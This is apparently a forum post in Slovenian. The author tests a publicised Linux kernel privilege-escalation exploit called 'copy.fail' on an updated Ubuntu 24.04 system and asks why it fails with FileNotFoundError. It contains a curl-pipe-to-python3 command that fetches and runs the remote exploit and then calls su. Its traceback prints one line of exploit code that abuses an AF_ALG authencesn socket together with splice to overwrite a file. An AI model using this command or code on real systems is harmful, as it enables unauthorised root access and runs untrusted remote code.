Ubuntu 24.04.4 LTS, up-to-date, dajmo poskusit, če exploit deluje.
Glede na "Low Level @ Youtube" -
- je test dokaj trivialen. Source:
https://copy.fail/ Kernel je glede na prebrano ranljiv.
jakka@Ubuntu:~$ uname -a
Linux Ubuntu 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
jakka@Ubuntu:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
...
Enostavno - Zagon ukaza, ki prenese in zažene python skripto.
jakka@Ubuntu:~$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 2707 0 --:--:-- --:--:-- --:--:-- 2727
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory
jakka@Ubuntu:~$ Malo več dela - Prenos skripte, +x atribut in zagon.
jakka@Ubuntu:~/Downloads$ chmod +x copy_fail_exp.py
jakka@Ubuntu:~/Downloads$ python3 copy_fail_exp.py
Traceback (most recent call last):
File "/home/jakka/Downloads/copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/jakka/Downloads/copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory
jakka@Ubuntu:~/Downloads$ Kaj delam narobe? Pebkac?
Sicer napako izpiše, ampak ne razumem, za kateri file se gre.
